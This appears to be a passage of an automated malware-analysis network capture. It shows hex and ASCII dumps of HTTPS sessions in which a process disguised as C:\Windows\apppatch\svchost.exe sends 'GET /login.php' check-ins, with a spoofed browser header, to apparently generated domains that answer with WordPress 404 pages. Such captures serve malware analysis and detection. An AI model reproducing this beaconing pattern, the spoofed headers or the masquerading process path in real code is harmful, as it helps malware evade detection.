                                                                                                                                                                                                          2024-11-11 17:13:02 UTC8302INData Raw: 69 63 65 2d 72 65 71 75 65 73 74 2d 66 6f 72 6d 2d 69 64 22 20 74 69 74 6c 65 3d 22 47 65 74 20 70 72 69 63 65 22 20 61 72 69 61 2d 6c 61 62 65 6c 3d 22 47 65 74 20 70 72 69 63 65 22 20 6c 61 62 65 6c 3d 22 47 65 74 20 70 72 69 63 65 22 20 65 6e 64 49 63 6f 6e 3d 22 5b 6f 62 6a 65 63 74 20 4f 62 6a 65 63 74 5d 22 3e 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 66 6c 65 78 20 6a 75 73 74 69 66 79 2d 63 65 6e 74 65 72 20 69 74 65 6d 73 2d 63 65 6e 74 65 72 20 67 61 70 2d 31 2e 35 20 6d 78 2d 61 75 74 6f 22 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 66 6c 65 78 20 69 74 65 6d 73 2d 63 65 6e 74 65 72 20 67 61 70 2d 32 22 3e 47 65 74 20 70 72 69 63 65 3c 73 76 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20
                                                                                                                                                                                                          Data Ascii: ice-request-form-id" title="Get price" aria-label="Get price" label="Get price" endIcon="[object Object]"><span class="flex justify-center items-center gap-1.5 mx-auto"><div class="flex items-center gap-2">Get price<svg xmlns="http://www.w3.org/2000/svg"
                                                                                                                                                                                                          2024-11-11 17:13:02 UTC2586INData Raw: 30 2e 33 76 2e 30 36 37 68 2d 2e 31 33 36 76 2e 30 36 38 68 2d 2e 30 36 38 76 2e 30 36 38 68 2d 2e 30 36 37 56 2e 37 36 48 39 2e 39 36 76 2e 30 36 38 68 2d 2e 31 33 36 76 2e 30 36 37 68 2d 2e 30 36 38 76 2e 30 36 38 48 39 2e 36 39 76 2e 30 36 38 48 39 2e 36 32 76 2e 30 36 38 68 2d 2e 30 36 38 76 2e 30 36 38 68 2d 2e 31 33 35 76 2e 30 36 37 48 39 2e 33 35 76 2e 30 36 38 68 2d 2e 30 36 38 76 2e 30 36 38 68 2d 2e 30 36 38 76 2e 30 36 38 68 2d 2e 30 36 38 76 2e 30 36 37 48 39 2e 30 38 76 2e 30 36 38 48 39 2e 30 31 76 2e 30 36 38 68 2d 2e 30 36 38 76 2e 30 36 38 68 2d 2e 30 36 38 76 2e 30 36 38 68 2d 2e 30 36 37 76 2e 30 36 37 48 38 2e 37 34 76 2e 30 36 38 68 2d 2e 30 36 38 76 2e 30 36 38 68 2d 2e 30 36 38 76 2e 30 36 38 68 2d 2e 30 36 38 76 2e 30 36 37 48 38
                                                                                                                                                                                                          Data Ascii: 0.3v.067h-.136v.068h-.068v.068h-.067V.76H9.96v.068h-.136v.067h-.068v.068H9.69v.068H9.62v.068h-.068v.068h-.135v.067H9.35v.068h-.068v.068h-.068v.068h-.068v.067H9.08v.068H9.01v.068h-.068v.068h-.068v.068h-.067v.067H8.74v.068h-.068v.068h-.068v.068h-.068v.067H8
                                                                                                                                                                                                          2024-11-11 17:13:02 UTC2INData Raw: 0d 0a
                                                                                                                                                                                                          Data Ascii:
                                                                                                                                                                                                          2024-11-11 17:13:02 UTC4096INData Raw: 36 38 38 31 0d 0a 65 6e 74 43 6f 6c 6f 72 22 20 66 69 6c 6c 2d 72 75 6c 65 3d 22 65 76 65 6e 6f 64 64 22 20 64 3d 22 4d 32 39 2e 36 37 20 34 2e 34 37 34 68 2d 33 2e 39 34 36 76 31 31 2e 32 38 37 68 33 2e 39 34 35 63 33 2e 36 30 36 20 30 20 35 2e 39 35 2d 32 2e 32 31 35 20 35 2e 39 35 2d 35 2e 36 32 37 20 30 2d 33 2e 34 32 39 2d 32 2e 33 34 34 2d 35 2e 36 36 2d 35 2e 39 35 2d 35 2e 36 36 6d 2d 31 2e 36 38 33 20 39 2e 33 36 32 56 36 2e 33 38 32 68 31 2e 36 30 31 63 32 2e 33 37 38 20 30 20 33 2e 37 32 20 31 2e 34 30 37 20 33 2e 37 32 20 33 2e 37 35 32 73 2d 31 2e 33 34 32 20 33 2e 37 30 32 2d 33 2e 37 32 20 33 2e 37 30 32 7a 6d 31 37 2e 39 38 32 2d 32 2e 35 35 34 63 30 2d 32 2e 38 33 2d 32 2e 30 32 32 2d 34 2e 36 32 35 2d 34 2e 36 30 39 2d 34 2e 36 32 35 73
                                                                                                                                                                                                          Data Ascii: 6881entColor" fill-rule="evenodd" d="M29.67 4.474h-3.946v11.287h3.945c3.606 0 5.95-2.215 5.95-5.627 0-3.429-2.344-5.66-5.95-5.66m-1.683 9.362V6.382h1.601c2.378 0 3.72 1.407 3.72 3.752s-1.342 3.702-3.72 3.702zm17.982-2.554c0-2.83-2.022-4.625-4.609-4.625s
                                                                                                                                                                                                          2024-11-11 17:13:02 UTC13046INData Raw: 30 36 38 68 2d 2e 30 36 38 76 2d 2e 30 36 38 68 2d 2e 31 33 35 76 2d 2e 30 36 38 68 2d 2e 31 33 36 76 2d 2e 30 36 38 68 2d 2e 31 33 36 76 2d 2e 30 36 37 68 2d 2e 30 36 37 76 2d 2e 30 36 38 68 2d 2e 30 36 38 76 2d 2e 30 36 38 68 2d 2e 30 36 38 76 2d 2e 30 36 38 68 2d 2e 30 36 38 76 2d 2e 30 36 37 68 2d 2e 30 36 37 76 2d 2e 30 36 38 68 2d 2e 30 36 38 76 2d 2e 30 36 38 68 2d 2e 30 36 38 76 2d 2e 30 36 38 68 2d 2e 31 33 36 76 2d 2e 31 33 35 68 2d 2e 30 36 37 76 2d 2e 30 36 38 68 2d 2e 30 36 38 76 2d 2e 30 36 38 68 2d 2e 30 36 38 76 2d 2e 31 33 35 68 2d 2e 30 36 38 76 2d 2e 30 36 38 68 2d 2e 30 36 38 76 2d 2e 30 36 38 68 2d 2e 30 36 37 76 2d 2e 31 33 36 68 2d 2e 30 36 38 76 2d 2e 30 36 37 68 2d 2e 30 36 38 76 2d 2e 31 33 36 68 2d 2e 30 36 38 76 2d 2e 31 33 36
                                                                                                                                                                                                          Data Ascii: 068h-.068v-.068h-.135v-.068h-.136v-.068h-.136v-.067h-.067v-.068h-.068v-.068h-.068v-.068h-.068v-.067h-.067v-.068h-.068v-.068h-.068v-.068h-.136v-.135h-.067v-.068h-.068v-.068h-.068v-.135h-.068v-.068h-.068v-.068h-.067v-.136h-.068v-.067h-.068v-.136h-.068v-.136


                                                                                                                                                                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                          2192.168.2.658868188.114.96.34434888C:\Windows\apppatch\svchost.exe
                                                                                                                                                                                                          TimestampBytes transferredDirectionData
                                                                                                                                                                                                          2024-11-11 17:13:03 UTC267OUTGET /login.php HTTP/1.1
                                                                                                                                                                                                          Referer: http://www.google.com
                                                                                                                                                                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
                                                                                                                                                                                                          Host: qegyhig.com
                                                                                                                                                                                                          Connection: Keep-Alive
                                                                                                                                                                                                          2024-11-11 17:13:04 UTC953INHTTP/1.1 404 Not Found
                                                                                                                                                                                                          Date: Mon, 11 Nov 2024 17:13:04 GMT
                                                                                                                                                                                                          Content-Type: text/html; charset=UTF-8
                                                                                                                                                                                                          Transfer-Encoding: chunked
                                                                                                                                                                                                          Connection: close
                                                                                                                                                                                                          vary: Accept-Encoding
                                                                                                                                                                                                          expires: Wed, 11 Jan 1984 05:00:00 GMT
                                                                                                                                                                                                          Cache-Control: no-cache, must-revalidate, max-age=0
                                                                                                                                                                                                          link: <https://qegyhig.com/wp-json/>; rel="https://api.w.org/"
                                                                                                                                                                                                          cf-cache-status: DYNAMIC
                                                                                                                                                                                                          Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2BI6BsDE4j6UOAr484GISj1CgSyucJ%2FFwlk%2BQ9KGIBH93dgwZb5U2Ry3qQwciQvPFZAzPlK%2BVCFMP0H%2BwlYWq0cLRqZI9GxRDQClQkf5QYZenGIH33h5M1Be4MxC%2BXw%3D%3D"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                                                          NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                                                          Server: cloudflare
                                                                                                                                                                                                          CF-RAY: 8e0fe927b92f5590-EWR
                                                                                                                                                                                                          alt-svc: h3=":443"; ma=86400
                                                                                                                                                                                                          server-timing: cfL4;desc="?proto=TCP&rtt=1138&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2823&recv_bytes=881&delivery_rate=2195602&cwnd=250&unsent_bytes=0&cid=b9e9f4a62d052aba&ts=876&x=0"
                                                                                                                                                                                                          2024-11-11 17:13:04 UTC416INData Raw: 37 63 61 34 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0a 09 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 6f 66 69 6c 65 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 67 6d 70 67 2e 6f 72 67 2f 78 66 6e 2f 31 31 22 3e 20 0a 09 20 3c 73 74 79 6c 65 3e 0d 0a 23 77 70 61 64 6d 69 6e 62 61 72 20 23 77 70 2d 61 64 6d 69 6e 2d 62 61 72 2d 77 63 63 70 5f 66 72 65 65 5f 74 6f 70 5f 62 75 74 74 6f 6e 20 2e
                                                                                                                                                                                                          Data Ascii: 7ca4<!DOCTYPE html><html lang="en-US"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1"> <link rel="profile" href="https://gmpg.org/xfn/11"> <style>#wpadminbar #wp-admin-bar-wccp_free_top_button .
                                                                                                                                                                                                          2024-11-11 17:13:04 UTC1369INData Raw: 3c 2f 73 74 79 6c 65 3e 0d 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 27 72 6f 62 6f 74 73 27 20 63 6f 6e 74 65 6e 74 3d 27 6e 6f 69 6e 64 65 78 2c 20 66 6f 6c 6c 6f 77 27 20 2f 3e 0a 0a 09 3c 21 2d 2d 20 54 68 69 73 20 73 69 74 65 20 69 73 20 6f 70 74 69 6d 69 7a 65 64 20 77 69 74 68 20 74 68 65 20 59 6f 61 73 74 20 53 45 4f 20 70 6c 75 67 69 6e 20 76 32 31 2e 33 20 2d 20 68 74 74 70 73 3a 2f 2f 79 6f 61 73 74 2e 63 6f 6d 2f 77 6f 72 64 70 72 65 73 73 2f 70 6c 75 67 69 6e 73 2f 73 65 6f 2f 20 2d 2d 3e 0a 09 3c 74 69 74 6c 65 3e 50 61 67 65 20 6e 6f 74 20 66 6f 75 6e 64 20 2d 3c 2f 74 69 74 6c 65 3e 0a 09 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 22 6f 67 3a 6c 6f 63 61 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 65 6e 5f 55 53 22 20 2f 3e 0a 09 3c 6d 65 74 61 20
                                                                                                                                                                                                          Data Ascii: </style><meta name='robots' content='noindex, follow' />... This site is optimized with the Yoast SEO plugin v21.3 - https://yoast.com/wordpress/plugins/seo/ --><title>Page not found -</title><meta property="og:locale" content="en_US" /><meta
                                                                                                                                                                                                          2024-11-11 17:13:04 UTC1369INData Raw: 6e 63 74 69 6f 6e 20 63 28 65 29 7b 74 72 79 7b 76 61 72 20 74 3d 7b 73 75 70 70 6f 72 74 54 65 73 74 73 3a 65 2c 74 69 6d 65 73 74 61 6d 70 3a 28 6e 65 77 20 44 61 74 65 29 2e 76 61 6c 75 65 4f 66 28 29 7d 3b 73 65 73 73 69 6f 6e 53 74 6f 72 61 67 65 2e 73 65 74 49 74 65 6d 28 6f 2c 4a 53 4f 4e 2e 73 74 72 69 6e 67 69 66 79 28 74 29 29 7d 63 61 74 63 68 28 65 29 7b 7d 7d 66 75 6e 63 74 69 6f 6e 20 70 28 65 2c 74 2c 6e 29 7b 65 2e 63 6c 65 61 72 52 65 63 74 28 30 2c 30 2c 65 2e 63 61 6e 76 61 73 2e 77 69 64 74 68 2c 65 2e 63 61 6e 76 61 73 2e 68 65 69 67 68 74 29 2c 65 2e 66 69 6c 6c 54 65 78 74 28 74 2c 30 2c 30 29 3b 76 61 72 20 74 3d 6e 65 77 20 55 69 6e 74 33 32 41 72 72 61 79 28 65 2e 67 65 74 49 6d 61 67 65 44 61 74 61 28 30 2c 30 2c 65 2e 63 61 6e
                                                                                                                                                                                                          Data Ascii: nction c(e){try{var t={supportTests:e,timestamp:(new Date).valueOf()};sessionStorage.setItem(o,JSON.stringify(t))}catch(e){}}function p(e,t,n){e.clearRect(0,0,e.canvas.width,e.canvas.height),e.fillText(t,0,0);var t=new Uint32Array(e.getImageData(0,0,e.can
                                                                                                                                                                                                          2024-11-11 17:13:04 UTC1369INData Raw: 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 50 72 6f 6d 69 73 65 26 26 28 6f 3d 22 77 70 45 6d 6f 6a 69 53 65 74 74 69 6e 67 73 53 75 70 70 6f 72 74 73 22 2c 73 3d 5b 22 66 6c 61 67 22 2c 22 65 6d 6f 6a 69 22 5d 2c 6e 2e 73 75 70 70 6f 72 74 73 3d 7b 65 76 65 72 79 74 68 69 6e 67 3a 21 30 2c 65 76 65 72 79 74 68 69 6e 67 45 78 63 65 70 74 46 6c 61 67 3a 21 30 7d 2c 65 3d 6e 65 77 20 50 72 6f 6d 69 73 65 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 22 44 4f 4d 43 6f 6e 74 65 6e 74 4c 6f 61 64 65 64 22 2c 65 2c 7b 6f 6e 63 65 3a 21 30 7d 29 7d 29 2c 6e 65 77 20 50 72 6f 6d 69 73 65 28 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 6e 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 74 72 79 7b 76 61 72 20 65 3d 4a 53 4f
                                                                                                                                                                                                          Data Ascii: ined"!=typeof Promise&&(o="wpEmojiSettingsSupports",s=["flag","emoji"],n.supports={everything:!0,everythingExceptFlag:!0},e=new Promise(function(e){i.addEventListener("DOMContentLoaded",e,{once:!0})}),new Promise(function(t){var n=function(){try{var e=JSO
                                                                                                                                                                                                          2024-11-11 17:13:04 UTC1369INData Raw: 29 2e 63 6f 6e 63 61 74 65 6d 6f 6a 69 3f 74 28 65 2e 63 6f 6e 63 61 74 65 6d 6f 6a 69 29 3a 65 2e 77 70 65 6d 6f 6a 69 26 26 65 2e 74 77 65 6d 6f 6a 69 26 26 28 74 28 65 2e 74 77 65 6d 6f 6a 69 29 2c 74 28 65 2e 77 70 65 6d 6f 6a 69 29 29 29 7d 29 29 7d 28 28 77 69 6e 64 6f 77 2c 64 6f 63 75 6d 65 6e 74 29 2c 77 69 6e 64 6f 77 2e 5f 77 70 65 6d 6f 6a 69 53 65 74 74 69 6e 67 73 29 3b 0a 3c 2f 73 63 72 69 70 74 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 27 73 74 79 6c 65 73 68 65 65 74 27 20 69 64 3d 27 61 73 74 72 61 2d 74 68 65 6d 65 2d 63 73 73 2d 63 73 73 27 20 68 72 65 66 3d 27 68 74 74 70 73 3a 2f 2f 71 65 67 79 68 69 67 2e 63 6f 6d 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 74 68 65 6d 65 73 2f 61 73 74 72 61 2f 61 73 73 65 74 73 2f 63 73 73 2f 6d 69 6e 69 66 69
                                                                                                                                                                                                          Data Ascii: ).concatemoji?t(e.concatemoji):e.wpemoji&&e.twemoji&&(t(e.twemoji),t(e.wpemoji)))}))}((window,document),window._wpemojiSettings);</script><link rel='stylesheet' id='astra-theme-css-css' href='https://qegyhig.com/wp-content/themes/astra/assets/css/minifi
                                                                                                                                                                                                          2024-11-11 17:13:04 UTC1369INData Raw: 73 69 74 65 2d 64 65 73 63 72 69 70 74 69 6f 6e 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 35 70 78 3b 66 6f 6e 74 2d 73 69 7a 65 3a 30 2e 39 33 37 35 72 65 6d 3b 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 3b 7d 2e 65 6e 74 72 79 2d 74 69 74 6c 65 7b 66 6f 6e 74 2d 73 69 7a 65 3a 32 36 70 78 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 36 32 35 72 65 6d 3b 7d 68 31 2c 2e 65 6e 74 72 79 2d 63 6f 6e 74 65 6e 74 20 68 31 7b 66 6f 6e 74 2d 73 69 7a 65 3a 34 30 70 78 3b 66 6f 6e 74 2d 73 69 7a 65 3a 32 2e 35 72 65 6d 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 36 30 30 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 2e 34 65 6d 3b 7d 68 32 2c 2e 65 6e 74 72 79 2d 63 6f 6e 74 65 6e 74 20 68 32 7b 66 6f 6e 74 2d 73 69 7a 65 3a 33 32 70 78 3b 66 6f 6e 74 2d 73 69 7a 65 3a 32 72 65 6d 3b 66 6f
                                                                                                                                                                                                          Data Ascii: site-description{font-size:15px;font-size:0.9375rem;display:none;}.entry-title{font-size:26px;font-size:1.625rem;}h1,.entry-content h1{font-size:40px;font-size:2.5rem;font-weight:600;line-height:1.4em;}h2,.entry-content h2{font-size:32px;font-size:2rem;fo
                                                                                                                                                                                                          2024-11-11 17:13:04 UTC1369INData Raw: 5d 3a 3a 2d 77 65 62 6b 69 74 2d 73 6c 69 64 65 72 2d 74 68 75 6d 62 7b 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 3a 23 64 31 30 34 30 34 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 64 31 30 34 30 34 3b 62 6f 78 2d 73 68 61 64 6f 77 3a 6e 6f 6e 65 3b 7d 2e 73 69 74 65 2d 66 6f 6f 74 65 72 20 61 3a 68 6f 76 65 72 20 2b 20 2e 70 6f 73 74 2d 63 6f 75 6e 74 2c 2e 73 69 74 65 2d 66 6f 6f 74 65 72 20 61 3a 66 6f 63 75 73 20 2b 20 2e 70 6f 73 74 2d 63 6f 75 6e 74 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 64 31 30 34 30 34 3b 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 3a 23 64 31 30 34 30 34 3b 7d 2e 73 69 6e 67 6c 65 20 2e 6e 61 76 2d 6c 69 6e 6b 73 20 2e 6e 61 76 2d 70 72 65 76 69 6f 75 73 2c 2e 73 69 6e 67 6c 65 20 2e 6e 61 76 2d 6c 69 6e 6b 73 20 2e 6e 61 76 2d
                                                                                                                                                                                                          Data Ascii: ]::-webkit-slider-thumb{border-color:#d10404;background-color:#d10404;box-shadow:none;}.site-footer a:hover + .post-count,.site-footer a:focus + .post-count{background:#d10404;border-color:#d10404;}.single .nav-links .nav-previous,.single .nav-links .nav-
                                                                                                                                                                                                          2024-11-11 17:13:04 UTC1369INData Raw: 6f 6e 74 65 6e 74 20 2e 75 61 67 62 2d 69 66 62 2d 63 74 61 20 61 2c 2e 61 73 74 2d 73 69 6e 67 6c 65 2d 70 6f 73 74 20 2e 65 6e 74 72 79 2d 63 6f 6e 74 65 6e 74 20 2e 77 70 2d 62 6c 6f 63 6b 2d 75 61 67 62 2d 62 75 74 74 6f 6e 73 20 61 2c 2e 61 73 74 2d 73 69 6e 67 6c 65 2d 70 6f 73 74 20 2e 65 6e 74 72 79 2d 63 6f 6e 74 65 6e 74 20 2e 75 61 62 62 2d 6d 6f 64 75 6c 65 2d 63 6f 6e 74 65 6e 74 20 61 2c 2e 61 73 74 2d 73 69 6e 67 6c 65 2d 70 6f 73 74 20 2e 65 6e 74 72 79 2d 63 6f 6e 74 65 6e 74 20 2e 75 61 67 62 2d 70 6f 73 74 2d 67 72 69 64 20 61 2c 2e 61 73 74 2d 73 69 6e 67 6c 65 2d 70 6f 73 74 20 2e 65 6e 74 72 79 2d 63 6f 6e 74 65 6e 74 20 2e 75 61 67 62 2d 74 69 6d 65 6c 69 6e 65 20 61 2c 2e 61 73 74 2d 73 69 6e 67 6c 65 2d 70 6f 73 74 20 2e 65 6e 74
                                                                                                                                                                                                          Data Ascii: ontent .uagb-ifb-cta a,.ast-single-post .entry-content .wp-block-uagb-buttons a,.ast-single-post .entry-content .uabb-module-content a,.ast-single-post .entry-content .uagb-post-grid a,.ast-single-post .entry-content .uagb-timeline a,.ast-single-post .ent
                                                                                                                                                                                                          2024-11-11 17:13:04 UTC1369INData Raw: 73 69 62 6c 65 2c 2e 77 6f 6f 63 6f 6d 6d 65 72 63 65 2d 6a 73 20 2e 77 6f 6f 63 6f 6d 6d 65 72 63 65 2d 6d 69 6e 69 2d 63 61 72 74 2d 69 74 65 6d 20 61 2e 72 65 6d 6f 76 65 3a 66 6f 63 75 73 2d 76 69 73 69 62 6c 65 7b 6f 75 74 6c 69 6e 65 2d 73 74 79 6c 65 3a 64 6f 74 74 65 64 3b 6f 75 74 6c 69 6e 65 2d 63 6f 6c 6f 72 3a 69 6e 68 65 72 69 74 3b 6f 75 74 6c 69 6e 65 2d 77 69 64 74 68 3a 74 68 69 6e 3b 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 3a 74 72 61 6e 73 70 61 72 65 6e 74 3b 7d 69 6e 70 75 74 3a 66 6f 63 75 73 2c 69 6e 70 75 74 5b 74 79 70 65 3d 22 74 65 78 74 22 5d 3a 66 6f 63 75 73 2c 69 6e 70 75 74 5b 74 79 70 65 3d 22 65 6d 61 69 6c 22 5d 3a 66 6f 63 75 73 2c 69 6e 70 75 74 5b 74 79 70 65 3d 22 75 72 6c 22 5d 3a 66 6f 63 75 73 2c 69 6e 70 75 74 5b 74
                                                                                                                                                                                                          Data Ascii: sible,.woocommerce-js .woocommerce-mini-cart-item a.remove:focus-visible{outline-style:dotted;outline-color:inherit;outline-width:thin;border-color:transparent;}input:focus,input[type="text"]:focus,input[type="email"]:focus,input[type="url"]:focus,input[t


                                                                                                                                                                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                          3192.168.2.658879188.114.96.34434888C:\Windows\apppatch\svchost.exe
                                                                                                                                                                                                          TimestampBytes transferredDirectionData
                                                                                                                                                                                                          2024-11-11 17:13:06 UTC267OUTGET /login.php HTTP/1.1
                                                                                                                                                                                                          Referer: http://www.google.com
                                                                                                                                                                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
                                                                                                                                                                                                          Host: lysyvan.com
                                                                                                                                                                                                          Connection: Keep-Alive
                                                                                                                                                                                                          2024-11-11 17:13:08 UTC1088INHTTP/1.1 404 Not Found
                                                                                                                                                                                                          Date: Mon, 11 Nov 2024 17:13:08 GMT
                                                                                                                                                                                                          Content-Type: text/html; charset=utf-8
                                                                                                                                                                                                          Transfer-Encoding: chunked
                                                                                                                                                                                                          Connection: close
                                                                                                                                                                                                          vary: Accept-Encoding
                                                                                                                                                                                                          expires: Wed, 11 Jan 1984 05:00:00 GMT
                                                                                                                                                                                                          Cache-Control: no-cache, must-revalidate, max-age=0
                                                                                                                                                                                                          link: <https://lysyvan.com/wp-json/>; rel="https://api.w.org/"
                                                                                                                                                                                                          server-timing: amp_sanitizer;dur="57.6",amp_style_sanitizer;dur="24.5",amp_tag_and_attribute_sanitizer;dur="26.8",amp_optimizer;dur="24.6"
                                                                                                                                                                                                          cf-cache-status: DYNAMIC
                                                                                                                                                                                                          Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ucylzZkDHjuy5%2FhNaZ6Y2Glc6ThAgjJBg0bsoarZbtCCcEKPa1vPwTSYd3kUNHfaXP7Xz3Ra8EZ8WK%2BC3tVRPcDMHsUI3Wti%2FbZM38KY%2B6haEAMaCIIaujl3GOIBgg%3D%3D"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                                                          NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                                                          Server: cloudflare
                                                                                                                                                                                                          CF-RAY: 8e0fe9374e20eb7f-SEA
                                                                                                                                                                                                          alt-svc: h3=":443"; ma=86400
                                                                                                                                                                                                          server-timing: cfL4;desc="?proto=TCP&rtt=60390&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2826&recv_bytes=881&delivery_rate=47939&cwnd=32&unsent_bytes=0&cid=cd3b4c6f53ab7a2b&ts=1740&x=0"
                                                                                                                                                                                                          2024-11-11 17:13:08 UTC281INData Raw: 37 63 31 63 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 20 64 61 74 61 2d 61 6d 70 2d 62 69 6e 64 2d 63 6c 61 73 73 3d 22 69 73 44 61 72 6b 20 3f 20 27 6e 65 76 65 2d 64 61 72 6b 2d 74 68 65 6d 65 27 20 3a 20 27 6e 65 76 65 2d 6c 69 67 68 74 2d 74 68 65 6d 65 27 22 20 63 6c 61 73 73 3d 22 6e 65 76 65 2d 64 61 72 6b 2d 74 68 65 6d 65 22 20 61 6d 70 3d 22 22 20 64 61 74 61 2d 61 6d 70 2d 61 75 74 6f 2d 6c 69 67 68 74 62 6f 78 2d 64 69 73 61 62 6c 65 20 74 72 61 6e 73 66 6f 72 6d 65 64 3d 22 73 65 6c 66 3b 76 3d 31 22 20 69 2d 61 6d 70 68 74 6d 6c 2d 6c 61 79 6f 75 74 3d 22 22 20 69 2d 61 6d 70 68 74 6d 6c 2d 6e 6f 2d 62 6f 69 6c 65 72 70 6c 61 74 65 3d 22 22 20 69 2d 61 6d 70 68 74 6d 6c 2d 62
                                                                                                                                                                                                          Data Ascii: 7c1c<!DOCTYPE html><html lang="en-US" data-amp-bind-class="isDark ? 'neve-dark-theme' : 'neve-light-theme'" class="neve-dark-theme" amp="" data-amp-auto-lightbox-disable transformed="self;v=1" i-amphtml-layout="" i-amphtml-no-boilerplate="" i-amphtml-b
                                                                                                                                                                                                          2024-11-11 17:13:08 UTC1369INData Raw: 65 74 3d 22 55 54 46 2d 38 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 22 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 63 64 6e 2e 61 6d 70 70 72 6f 6a 65 63 74 2e 6f 72 67 22 3e 3c 73 74 79 6c 65 20 61 6d 70 2d 72 75 6e 74 69 6d 65 3d 22 22 20 69 2d 61 6d 70 68 74 6d 6c 2d 76 65 72 73 69 6f 6e 3d 22 30 31 32 34 31 30 31 36 31 38 30 31 30 30 30 22 3e 68 74 6d 6c 7b 6f 76 65 72 66 6c 6f 77 2d 78 3a 68 69 64 64 65 6e 21 69 6d 70 6f 72 74 61 6e 74 7d 68 74 6d 6c 2e 69 2d 61 6d 70 68 74 6d 6c 2d 66 69 65 7b 68 65 69 67 68 74 3a 31 30 30
                                                                                                                                                                                                          Data Ascii: et="UTF-8"><meta name="viewport" content="width=device-width,minimum-scale=1"><link rel="preconnect" href="https://cdn.ampproject.org"><style amp-runtime="" i-amphtml-version="012410161801000">html{overflow-x:hidden!important}html.i-amphtml-fie{height:100
                                                                                                                                                                                                          2024-11-11 17:13:08 UTC1369INData Raw: 6e 67 3a 74 6f 75 63 68 21 69 6d 70 6f 72 74 61 6e 74 7d 23 69 2d 61 6d 70 68 74 6d 6c 2d 77 72 61 70 70 65 72 3e 62 6f 64 79 7b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 21 69 6d 70 6f 72 74 61 6e 74 3b 62 6f 72 64 65 72 2d 74 6f 70 3a 31 70 78 20 73 6f 6c 69 64 20 74 72 61 6e 73 70 61 72 65 6e 74 21 69 6d 70 6f 72 74 61 6e 74 7d 23 69 2d 61 6d 70 68 74 6d 6c 2d 77 72 61 70 70 65 72 2b 62 6f 64 79 7b 76 69 73 69 62 69 6c 69 74 79 3a 76 69 73 69 62 6c 65 7d 23 69 2d 61 6d 70 68 74 6d 6c 2d 77 72 61 70 70 65 72 2b 62 6f 64 79 20 2e 69 2d 61 6d 70 68 74 6d 6c 2d 6c 69 67 68 74 62 6f 78 2d 65 6c 65 6d 65 6e 74 2c 23 69 2d 61 6d 70 68 74 6d 6c 2d 77 72 61 70 70 65 72 2b 62 6f 64 79 5b 69 2d 61 6d 70 68 74 6d 6c 2d 6c 69 67 68 74 62 6f 78 5d 7b 76 69
